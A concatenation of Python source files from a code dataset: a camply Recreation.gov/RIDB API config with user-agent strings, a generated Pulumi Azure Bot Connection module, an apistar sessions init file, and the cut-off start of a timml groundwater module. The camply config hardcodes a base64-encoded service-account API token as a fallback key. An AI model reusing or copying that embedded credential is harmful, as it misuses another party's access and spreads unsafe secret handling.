"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
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]
USER_AGENTS: List[Dict[str, str]] = [
{"User-Agent": string} for string in USER_AGENT_STRINGS
]
STANDARD_HEADERS: dict = {
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9,la;q=0.8",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
}
class RIDBConfig:
"""
RIDB API Configuration
https://ridb.recreation.gov/docs
"""
_camply_ridb_service_account_api_token: bytes = \
b'YTc0MTY0NzEtMWI1ZC00YTY0LWFkM2QtYTIzM2U3Y2I1YzQ0'
_api_key: str = getenv("RIDB_API_KEY", _camply_ridb_service_account_api_token)
API_KEY = _camply_ridb_service_account_api_token if _api_key == "" else _api_key
RIDB_SCHEME: str = "https"
RIDB_NET_LOC: str = "ridb.recreation.gov"
RIDB_BASE_PATH: str = "api/v1/"
# FACILITIES_API_PATH FIELDS
FACILITIES_API_PATH: str = "facilities"
FACILITY_DATA: str = "RECDATA"
FACILITY_METADATA: str = "METADATA"
FACILITY_METADATA_RESULTS: str = "RESULTS"
PAGINATE_RESULT_COUNT: str = "CURRENT_COUNT"
PAGINATE_TOTAL_COUNT: str = "TOTAL_COUNT"
CAMPGROUND_FACILITY_FIELD: str = "FacilityTypeDescription"
CAMPGROUND_FACILITY_FIELD_QUALIFIER: str = "Campground"
CAMPGROUND_FACILITY_RESERVABLE_FIELD: str = "Reservable"
CAMPGROUND_FACILITY_ENABLED_FIELD: str = "Enabled"
FACILITY_ID: str = "FacilityID"
FACILITY_NAME: str = "FacilityName"
CAMPGROUND_RECREATION_AREA: str = "RECAREA"
RECREATION_AREA_NAME: str = "RecAreaName"
FACILITY_ADDRESS: str = "FACILITYADDRESS"
FACILITY_LOCATION_STATE: str = "AddressStateCode"
# RECREATION AREA FIELDS
REC_AREA_API_PATH: str = "recareas"
REC_AREA_ID: str = "RecAreaID"
REC_AREA_NAME: str = "RecAreaName"
REC_AREA_ADDRESS: str = "RECAREAADDRESS"
REC_AREA_STATE: str = "AddressStateCode"
class RecreationBookingConfig:
"""
Variable Storage Class for Recreation.gov Booking API
"""
API_SCHEME: str = "https"
API_NET_LOC = "www.recreation.gov"
API_BASE_PATH: str = "api/camps/availability/campground/"
API_MONTH_PATH: str = "month"
API_REFERRERS: dict = {
"Referer": "https://www.recreation.gov/"
}
CAMPSITE_UNAVAILABLE_STRINGS: list = ["Reserved",
"Not Available",
"Not Reservable",
"Not Reservable Management",
"Not Available Cutoff",
"Lottery",
"Open"
]
CAMPSITE_BASE: str = "campsites"
CAMPSITE_AVAILABILITIES_BASE: str = "availabilities"
CAMPSITE_LOCATION_LOOP: str = "loop"
CAMPSITE_LOCATION_LOOP_DEFAULT: str = "Default Loop"
CAMPSITE_LOCATION_SITE: str = "site"
CAMPSITE_LOCATION_SITE_DEFAULT: str = "Default Site"
CAMPSITE_INFO_TYPE: str = "campsite_type"
CAMPSITE_INFO_MAX_PEOPLE: str = "max_num_people"
CAMPSITE_INFO_MIN_PEOPLE: str = "min_num_people"
CAMPSITE_INFO_TYPE_OF_USE: str = "type_of_use"
CAMPSITE_BOOKING_URL: str = "https://www.recreation.gov/camping/campsites"
RATE_LIMITING = (1.01, 1.51)
| 75.462406
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0
| 7
|
67aaae025dbd745759a31252dde2c42f69ead46b
| 29,581
|
py
|
Python
|
sdk/python/pulumi_azure/bot/connection.py
|
henriktao/pulumi-azure
|
f1cbcf100b42b916da36d8fe28be3a159abaf022
|
[
"ECL-2.0",
"Apache-2.0"
] | 109
|
2018-06-18T00:19:44.000Z
|
2022-02-20T05:32:57.000Z
|
sdk/python/pulumi_azure/bot/connection.py
|
henriktao/pulumi-azure
|
f1cbcf100b42b916da36d8fe28be3a159abaf022
|
[
"ECL-2.0",
"Apache-2.0"
] | 663
|
2018-06-18T21:08:46.000Z
|
2022-03-31T20:10:11.000Z
|
sdk/python/pulumi_azure/bot/connection.py
|
henriktao/pulumi-azure
|
f1cbcf100b42b916da36d8fe28be3a159abaf022
|
[
"ECL-2.0",
"Apache-2.0"
] | 41
|
2018-07-19T22:37:38.000Z
|
2022-03-14T10:56:26.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['ConnectionArgs', 'Connection']
@pulumi.input_type
class ConnectionArgs:
def __init__(__self__, *,
bot_name: pulumi.Input[str],
client_id: pulumi.Input[str],
client_secret: pulumi.Input[str],
resource_group_name: pulumi.Input[str],
service_provider_name: pulumi.Input[str],
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
scopes: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
The set of arguments for constructing a Connection resource.
:param pulumi.Input[str] bot_name: The name of the Bot Resource this connection will be associated with. Changing this forces a new resource to be created.
:param pulumi.Input[str] client_id: The Client ID that will be used to authenticate with the service provider.
:param pulumi.Input[str] client_secret: The Client Secret that will be used to authenticate with the service provider.
:param pulumi.Input[str] resource_group_name: The name of the resource group in which to create the Bot Connection. Changing this forces a new resource to be created.
:param pulumi.Input[str] service_provider_name: The name of the service provider that will be associated with this connection. Changing this forces a new resource to be created.
:param pulumi.Input[str] location: The supported Azure location where the resource exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] name: Specifies the name of the Bot Connection. Changing this forces a new resource to be created. Must be globally unique.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: A map of additional parameters to apply to the connection.
:param pulumi.Input[str] scopes: The Scopes at which the connection should be applied.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource.
"""
pulumi.set(__self__, "bot_name", bot_name)
pulumi.set(__self__, "client_id", client_id)
pulumi.set(__self__, "client_secret", client_secret)
pulumi.set(__self__, "resource_group_name", resource_group_name)
pulumi.set(__self__, "service_provider_name", service_provider_name)
if location is not None:
pulumi.set(__self__, "location", location)
if name is not None:
pulumi.set(__self__, "name", name)
if parameters is not None:
pulumi.set(__self__, "parameters", parameters)
if scopes is not None:
pulumi.set(__self__, "scopes", scopes)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter(name="botName")
def bot_name(self) -> pulumi.Input[str]:
"""
The name of the Bot Resource this connection will be associated with. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "bot_name")
@bot_name.setter
def bot_name(self, value: pulumi.Input[str]):
pulumi.set(self, "bot_name", value)
@property
@pulumi.getter(name="clientId")
def client_id(self) -> pulumi.Input[str]:
"""
The Client ID that will be used to authenticate with the service provider.
"""
return pulumi.get(self, "client_id")
@client_id.setter
def client_id(self, value: pulumi.Input[str]):
pulumi.set(self, "client_id", value)
@property
@pulumi.getter(name="clientSecret")
def client_secret(self) -> pulumi.Input[str]:
"""
The Client Secret that will be used to authenticate with the service provider.
"""
return pulumi.get(self, "client_secret")
@client_secret.setter
def client_secret(self, value: pulumi.Input[str]):
pulumi.set(self, "client_secret", value)
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> pulumi.Input[str]:
"""
The name of the resource group in which to create the Bot Connection. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "resource_group_name")
@resource_group_name.setter
def resource_group_name(self, value: pulumi.Input[str]):
pulumi.set(self, "resource_group_name", value)
@property
@pulumi.getter(name="serviceProviderName")
def service_provider_name(self) -> pulumi.Input[str]:
"""
The name of the service provider that will be associated with this connection. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "service_provider_name")
@service_provider_name.setter
def service_provider_name(self, value: pulumi.Input[str]):
pulumi.set(self, "service_provider_name", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
The supported Azure location where the resource exists. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the name of the Bot Connection. Changing this forces a new resource to be created. Must be globally unique.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A map of additional parameters to apply to the connection.
"""
return pulumi.get(self, "parameters")
@parameters.setter
def parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "parameters", value)
@property
@pulumi.getter
def scopes(self) -> Optional[pulumi.Input[str]]:
"""
The Scopes at which the connection should be applied.
"""
return pulumi.get(self, "scopes")
@scopes.setter
def scopes(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "scopes", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A mapping of tags to assign to the resource.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class _ConnectionState:
def __init__(__self__, *,
bot_name: Optional[pulumi.Input[str]] = None,
client_id: Optional[pulumi.Input[str]] = None,
client_secret: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
scopes: Optional[pulumi.Input[str]] = None,
service_provider_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
Input properties used for looking up and filtering Connection resources.
:param pulumi.Input[str] bot_name: The name of the Bot Resource this connection will be associated with. Changing this forces a new resource to be created.
:param pulumi.Input[str] client_id: The Client ID that will be used to authenticate with the service provider.
:param pulumi.Input[str] client_secret: The Client Secret that will be used to authenticate with the service provider.
:param pulumi.Input[str] location: The supported Azure location where the resource exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] name: Specifies the name of the Bot Connection. Changing this forces a new resource to be created. Must be globally unique.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: A map of additional parameters to apply to the connection.
:param pulumi.Input[str] resource_group_name: The name of the resource group in which to create the Bot Connection. Changing this forces a new resource to be created.
:param pulumi.Input[str] scopes: The Scopes at which the connection should be applied.
:param pulumi.Input[str] service_provider_name: The name of the service provider that will be associated with this connection. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource.
"""
if bot_name is not None:
pulumi.set(__self__, "bot_name", bot_name)
if client_id is not None:
pulumi.set(__self__, "client_id", client_id)
if client_secret is not None:
pulumi.set(__self__, "client_secret", client_secret)
if location is not None:
pulumi.set(__self__, "location", location)
if name is not None:
pulumi.set(__self__, "name", name)
if parameters is not None:
pulumi.set(__self__, "parameters", parameters)
if resource_group_name is not None:
pulumi.set(__self__, "resource_group_name", resource_group_name)
if scopes is not None:
pulumi.set(__self__, "scopes", scopes)
if service_provider_name is not None:
pulumi.set(__self__, "service_provider_name", service_provider_name)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter(name="botName")
def bot_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the Bot Resource this connection will be associated with. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "bot_name")
@bot_name.setter
def bot_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "bot_name", value)
@property
@pulumi.getter(name="clientId")
def client_id(self) -> Optional[pulumi.Input[str]]:
"""
The Client ID that will be used to authenticate with the service provider.
"""
return pulumi.get(self, "client_id")
@client_id.setter
def client_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "client_id", value)
@property
@pulumi.getter(name="clientSecret")
def client_secret(self) -> Optional[pulumi.Input[str]]:
"""
The Client Secret that will be used to authenticate with the service provider.
"""
return pulumi.get(self, "client_secret")
@client_secret.setter
def client_secret(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "client_secret", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
The supported Azure location where the resource exists. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the name of the Bot Connection. Changing this forces a new resource to be created. Must be globally unique.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A map of additional parameters to apply to the connection.
"""
return pulumi.get(self, "parameters")
@parameters.setter
def parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "parameters", value)
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the resource group in which to create the Bot Connection. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "resource_group_name")
@resource_group_name.setter
def resource_group_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_group_name", value)
@property
@pulumi.getter
def scopes(self) -> Optional[pulumi.Input[str]]:
"""
The Scopes at which the connection should be applied.
"""
return pulumi.get(self, "scopes")
@scopes.setter
def scopes(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "scopes", value)
@property
@pulumi.getter(name="serviceProviderName")
def service_provider_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the service provider that will be associated with this connection. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "service_provider_name")
@service_provider_name.setter
def service_provider_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "service_provider_name", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A mapping of tags to assign to the resource.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
class Connection(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
bot_name: Optional[pulumi.Input[str]] = None,
client_id: Optional[pulumi.Input[str]] = None,
client_secret: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
scopes: Optional[pulumi.Input[str]] = None,
service_provider_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
"""
Manages a Bot Connection.
## Example Usage
```python
import pulumi
import pulumi_azure as azure
current = azure.core.get_client_config()
example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe")
example_channels_registration = azure.bot.ChannelsRegistration("exampleChannelsRegistration",
location="global",
resource_group_name=example_resource_group.name,
sku="F0",
microsoft_app_id=current.client_id)
example_connection = azure.bot.Connection("exampleConnection",
bot_name=example_channels_registration.name,
location=example_channels_registration.location,
resource_group_name=example_resource_group.name,
service_provider_name="box",
client_id="exampleId",
client_secret="exampleSecret")
```
## Import
Bot Connection can be imported using the `resource id`, e.g.
```sh
$ pulumi import azure:bot/connection:Connection example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/example/providers/Microsoft.BotService/botServices/example/connections/example
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] bot_name: The name of the Bot Resource this connection will be associated with. Changing this forces a new resource to be created.
:param pulumi.Input[str] client_id: The Client ID that will be used to authenticate with the service provider.
:param pulumi.Input[str] client_secret: The Client Secret that will be used to authenticate with the service provider.
:param pulumi.Input[str] location: The supported Azure location where the resource exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] name: Specifies the name of the Bot Connection. Changing this forces a new resource to be created. Must be globally unique.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: A map of additional parameters to apply to the connection.
:param pulumi.Input[str] resource_group_name: The name of the resource group in which to create the Bot Connection. Changing this forces a new resource to be created.
:param pulumi.Input[str] scopes: The Scopes at which the connection should be applied.
:param pulumi.Input[str] service_provider_name: The name of the service provider that will be associated with this connection. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: ConnectionArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Manages a Bot Connection.
## Example Usage
```python
import pulumi
import pulumi_azure as azure
current = azure.core.get_client_config()
example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe")
example_channels_registration = azure.bot.ChannelsRegistration("exampleChannelsRegistration",
location="global",
resource_group_name=example_resource_group.name,
sku="F0",
microsoft_app_id=current.client_id)
example_connection = azure.bot.Connection("exampleConnection",
bot_name=example_channels_registration.name,
location=example_channels_registration.location,
resource_group_name=example_resource_group.name,
service_provider_name="box",
client_id="exampleId",
client_secret="exampleSecret")
```
## Import
Bot Connection can be imported using the `resource id`, e.g.
```sh
$ pulumi import azure:bot/connection:Connection example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/example/providers/Microsoft.BotService/botServices/example/connections/example
```
:param str resource_name: The name of the resource.
:param ConnectionArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(ConnectionArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
bot_name: Optional[pulumi.Input[str]] = None,
client_id: Optional[pulumi.Input[str]] = None,
client_secret: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
scopes: Optional[pulumi.Input[str]] = None,
service_provider_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = ConnectionArgs.__new__(ConnectionArgs)
if bot_name is None and not opts.urn:
raise TypeError("Missing required property 'bot_name'")
__props__.__dict__["bot_name"] = bot_name
if client_id is None and not opts.urn:
raise TypeError("Missing required property 'client_id'")
__props__.__dict__["client_id"] = client_id
if client_secret is None and not opts.urn:
raise TypeError("Missing required property 'client_secret'")
__props__.__dict__["client_secret"] = client_secret
__props__.__dict__["location"] = location
__props__.__dict__["name"] = name
__props__.__dict__["parameters"] = parameters
if resource_group_name is None and not opts.urn:
raise TypeError("Missing required property 'resource_group_name'")
__props__.__dict__["resource_group_name"] = resource_group_name
__props__.__dict__["scopes"] = scopes
if service_provider_name is None and not opts.urn:
raise TypeError("Missing required property 'service_provider_name'")
__props__.__dict__["service_provider_name"] = service_provider_name
__props__.__dict__["tags"] = tags
super(Connection, __self__).__init__(
'azure:bot/connection:Connection',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
bot_name: Optional[pulumi.Input[str]] = None,
client_id: Optional[pulumi.Input[str]] = None,
client_secret: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
scopes: Optional[pulumi.Input[str]] = None,
service_provider_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None) -> 'Connection':
"""
Get an existing Connection resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] bot_name: The name of the Bot Resource this connection will be associated with. Changing this forces a new resource to be created.
:param pulumi.Input[str] client_id: The Client ID that will be used to authenticate with the service provider.
:param pulumi.Input[str] client_secret: The Client Secret that will be used to authenticate with the service provider.
:param pulumi.Input[str] location: The supported Azure location where the resource exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] name: Specifies the name of the Bot Connection. Changing this forces a new resource to be created. Must be globally unique.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: A map of additional parameters to apply to the connection.
:param pulumi.Input[str] resource_group_name: The name of the resource group in which to create the Bot Connection. Changing this forces a new resource to be created.
:param pulumi.Input[str] scopes: The Scopes at which the connection should be applied.
:param pulumi.Input[str] service_provider_name: The name of the service provider that will be associated with this connection. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _ConnectionState.__new__(_ConnectionState)
__props__.__dict__["bot_name"] = bot_name
__props__.__dict__["client_id"] = client_id
__props__.__dict__["client_secret"] = client_secret
__props__.__dict__["location"] = location
__props__.__dict__["name"] = name
__props__.__dict__["parameters"] = parameters
__props__.__dict__["resource_group_name"] = resource_group_name
__props__.__dict__["scopes"] = scopes
__props__.__dict__["service_provider_name"] = service_provider_name
__props__.__dict__["tags"] = tags
return Connection(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="botName")
def bot_name(self) -> pulumi.Output[str]:
"""
The name of the Bot Resource this connection will be associated with. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "bot_name")
@property
@pulumi.getter(name="clientId")
def client_id(self) -> pulumi.Output[str]:
"""
The Client ID that will be used to authenticate with the service provider.
"""
return pulumi.get(self, "client_id")
@property
@pulumi.getter(name="clientSecret")
def client_secret(self) -> pulumi.Output[str]:
"""
The Client Secret that will be used to authenticate with the service provider.
"""
return pulumi.get(self, "client_secret")
@property
@pulumi.getter
def location(self) -> pulumi.Output[str]:
"""
The supported Azure location where the resource exists. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Specifies the name of the Bot Connection. Changing this forces a new resource to be created. Must be globally unique.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def parameters(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
A map of additional parameters to apply to the connection.
"""
return pulumi.get(self, "parameters")
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> pulumi.Output[str]:
"""
The name of the resource group in which to create the Bot Connection. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "resource_group_name")
@property
@pulumi.getter
def scopes(self) -> pulumi.Output[Optional[str]]:
"""
The Scopes at which the connection should be applied.
"""
return pulumi.get(self, "scopes")
@property
@pulumi.getter(name="serviceProviderName")
def service_provider_name(self) -> pulumi.Output[str]:
"""
The name of the service provider that will be associated with this connection. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "service_provider_name")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
A mapping of tags to assign to the resource.
"""
return pulumi.get(self, "tags")
| 46.511006
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0
| 8
|
67e07661ddc0db068d1a552b4faa825ad54cb90a
| 223
|
py
|
Python
|
apistar_contrib/sessions/__init__.py
|
ryananguiano/apistar-contrib
|
42d4b27b15fb170b1f01ca9839c5735524ba746a
|
[
"MIT"
] | 5
|
2018-05-18T14:37:00.000Z
|
2018-06-11T19:17:27.000Z
|
apistar_contrib/sessions/__init__.py
|
ryananguiano/apistar-contrib
|
42d4b27b15fb170b1f01ca9839c5735524ba746a
|
[
"MIT"
] | 32
|
2018-05-15T22:56:49.000Z
|
2019-07-03T04:06:50.000Z
|
apistar_contrib/sessions/__init__.py
|
ryananguiano/apistar-contrib
|
42d4b27b15fb170b1f01ca9839c5735524ba746a
|
[
"MIT"
] | null | null | null |
from apistar_contrib.sessions.base import Session, SessionStore, SessionComponent, SessionHook
from apistar_contrib.sessions.local import LocalMemorySessionStore
from apistar_contrib.sessions.redis import RedisSessionStore
| 55.75
| 94
| 0.892377
| 24
| 223
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| 0.067265
| 223
| 3
| 95
| 74.333333
| 0.942308
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| true
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0
| 7
|
db0f6ab4a4588d27891b35c215c3af409dbc6da0
| 13,695
|
py
|
Python
|
timml/inhomogeneity.py
|
d-brakenhoff/timml
|
ca94c8f155e59e5c02db3cb5c3dd50a7d478896e
|
[
"MIT"
] | null | null | null |
timml/inhomogeneity.py
|
d-brakenhoff/timml
|
ca94c8f155e59e5c02db3cb5c3dd50a7d478896e
|
[
"MIT"
] | null | null | null |
timml/inhomogeneity.py
|
d-brakenhoff/timml
|
ca94c8f155e59e5c02db3cb5c3dd50a7d478896e
|
[
"MIT"
] | null | null | null |
import numpy as np
import inspect # Used for storing the input
from .aquifer import AquiferData
from .aquifer_parameters import param_maq
from .constant import ConstantInside, ConstantStar
from .intlinesink import IntHeadDiffLineSink, IntFluxDiffLineSink, IntFluxLineSink
from .controlpoints import controlpoints
__all__ = ['PolygonInhomMaq']
class PolygonInhom(AquiferData):
tiny = 1e-8
def __init__(self, model, xy, kaq, c, z, npor, ltype, hstar,
order, ndeg):
# All input variables except model should be numpy arrays
# That should be checked outside this function):
AquiferData.__init__(self, model, kaq, c, z, npor, ltype)
self.order = order
self.ndeg = ndeg
self.hstar = hstar
self.inhom_number = self.model.aq.add_inhom(self)
self.z1, self.z2 = compute_z1z2(xy)
self.Nsides = len(self.z1)
Zin = 1e-6j
Zout = -1e-6j
self.zcin = 0.5 * (self.z2 - self.z1) * Zin + 0.5 * (
self.z1 + self.z2) # point at center on inside
self.zcout = 0.5 * (self.z2 - self.z1) * Zout + 0.5 * (
self.z1 + self.z2) # point at center on outside
self.x = np.hstack((self.z1.real, self.z2[-1].real))
self.y = np.hstack((self.z1.imag, self.z2[-1].imag))
self.xmin = min(self.x)
self.xmax = max(self.x)
self.ymin = min(self.y)
self.ymax = max(self.y)
def __repr__(self):
return 'PolygonInhom: ' + str(list(zip(self.x, self.y)))
def isinside(self, x, y):
rv = 0
if (x >= self.xmin) and (x <= self.xmax) and (y >= self.ymin) and (
y <= self.ymax):
z = complex(x, y)
bigZ = (2.0 * z - (self.z1 + self.z2)) / (self.z2 - self.z1)
bigZmin1 = bigZ - 1.0
bigZplus1 = bigZ + 1.0
minAbsBigZmin1 = min(abs(bigZmin1))
minAbsBigZplus1 = min(abs(bigZplus1))
if minAbsBigZmin1 < self.tiny or minAbsBigZplus1 < self.tiny:
rv = 1
return rv
angles = np.log(bigZmin1 / bigZplus1).imag
angle = np.sum(angles)
if angle > np.pi: rv = 1
return rv
def create_elements(self):
aqin = self.model.aq.find_aquifer_data(self.zcin[0].real,
self.zcin[0].imag)
for i in range(self.Nsides):
aqout = self.model.aq.find_aquifer_data(self.zcout[i].real,
self.zcout[i].imag)
if (aqout == self.model.aq) or (
aqout.inhom_number > self.inhom_number):
ls = IntHeadDiffLineSink(self.model, x1=self.x[i], y1=self.y[i],
x2=self.x[i + 1], y2=self.y[i + 1], \
order=self.order, ndeg=self.ndeg,
label=None, addtomodel=True, \
aq=aqin, aqin=aqin, aqout=aqout)
ls = IntFluxDiffLineSink(self.model, x1=self.x[i], y1=self.y[i],
